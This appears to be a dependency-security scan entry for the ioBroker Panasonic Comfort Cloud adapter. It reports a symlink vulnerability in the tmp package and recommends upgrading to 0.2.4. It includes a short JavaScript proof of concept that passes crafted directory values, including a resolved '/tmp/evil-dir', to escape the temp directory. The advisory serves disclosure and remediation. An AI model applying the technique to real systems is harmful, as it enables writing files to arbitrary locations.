Vulnerabilities

1 via 1 paths

Dependencies

127

Source

GitHub

Commit

78082b63

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Severity
  • 1
Status
  • 1
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medium severity
new

Symlink Attack

  • Vulnerable module: tmp
  • Introduced through: panasonic-comfort-cloud-client@2.1.0

Detailed paths

  • Introduced through: iobroker.panasonic-comfort-cloud@marc2016/ioBroker.panasonic-comfort-cloud#78082b638eac7d8cd902a4c1453f025b3a6db7e5 panasonic-comfort-cloud-client@2.1.0 @inquirer/prompts@3.3.2 @inquirer/editor@1.2.15 external-editor@3.1.0 tmp@0.0.33

Overview

Affected versions of this package are vulnerable to Symlink Attack via the dir parameter. An attacker can cause files or directories to be written to arbitrary locations by supplying a crafted symbolic link that resolves outside the intended temporary directory.

PoC

const tmp = require('tmp');

const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);

try {
    tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
    console.log('test 1:', err.message)
}

try {
    tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
    console.log('test 2:', err.message)
}

try {
    const fs = require('node:fs');
    const resolved = fs.realpathSync('/tmp/evil-dir');
    tmp.fileSync({ 'dir': resolved});
} catch (err) {
    console.log('test 3:', err.message)
}

Remediation

Upgrade tmp to version 0.2.4 or higher.

References